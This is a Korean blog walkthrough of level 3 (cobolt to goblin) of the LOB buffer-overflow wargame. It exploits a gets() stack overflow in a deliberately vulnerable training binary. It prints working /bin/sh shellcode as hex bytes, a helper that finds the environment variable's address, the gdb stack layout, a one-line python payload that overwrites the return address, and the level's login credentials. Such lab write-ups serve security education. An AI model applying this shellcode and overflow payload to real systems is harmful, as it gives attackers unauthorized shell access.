2021. 3. 8. 11:58ㆍLOB
[ Level3(cobolt) Login ]
ID : cobolt
PW : hacking exposed
( 이번에도 bash2를 입력하여 0xff를 0x00으로 인식하는 오류를 예방한다. )
cat명령어로 goblin.c를 확인해보니 gets함수로 buffer를 입력받고 있다.
( gets함수는 Bufferoverflow취약점을 가진 함수이다. )
또한 코드에서 /bin/sh를 실행하는 코드가 없기 때문에
RET에 /bin/sh 쉘코드 환경변수를 만들어 그 주소를 RET에 넣어 /bin/sh를 실행시켜 비밀번호를 구하면 될 것이다.
우선, 환경변수를 만들어 준다.
< /bin/sh 쉘 코드 > |
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 |
그리고 쉘코드 환경변수의 주소를 출력하는 getenv.c 파일도 만들어 준다.
// getenv.c 소스코드
#include<stdio.h>
int main()
{
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
gcc 명령어로 getenv실행파일을 만들어 주고, 실행시킨다.
쉘 코드 환경변수의 주소 : 0xbffffed8
이제 gdb로 goblin을 실행시킨다. (buffer의 메모리 위치를 알아내기 위해)
intel문법으로 변경 후, disass main을 입력하여 main함수를 디스어셈블 해준다.
함수에 매개변수를 넘길 때, 함수를 호출하기 전, 매개변수를 push한다.
위 어셈블리 코드를 보면 gets함수를 호출하기 전에 [%ebp-16]이 push되었다.
C언어 코드에서 gets함수의 매개변수가 buffer이므로,
[%ebp-16]은 buffer변수인 것을 알 수 있다.
buffer | 16byte |
EBP | 4byte |
RET | 4byte |
RET에 환경변수의 주소를 넣어주어야 하므로 20byte는 아무 값이나 넣어주고,
RET(4byte)에 환경변수의 주소를 넣어주면 될 것이다.
( 이번에는 argv[1]로 입력받는 것이 아닌 gets로 입력받기 때문에 pipe를 사용하여 넣어줄 것이다. )
(python -c 'print "\x90"*20 + "\xd8\xfe\xff\xbf"'; cat) | ./goblin을 입력하여 실행한다.
실행시킨 후, my-pass를 입력하여 다음 level의 비밀번호를 알아낸다!
[ Level3(cobolt) Clear ]
'LOB' 카테고리의 다른 글
[LOB] LEVEL4 (goblin -> orc) (0) | 2021.03.17 |
---|---|
[LOB] LEVEL2 (gremlin -> cobolt) (0) | 2021.03.08 |
[LOB] LEVEL1 (gate -> gremlin) (0) | 2021.03.06 |
[LOB] Settings (0) | 2021.03.05 |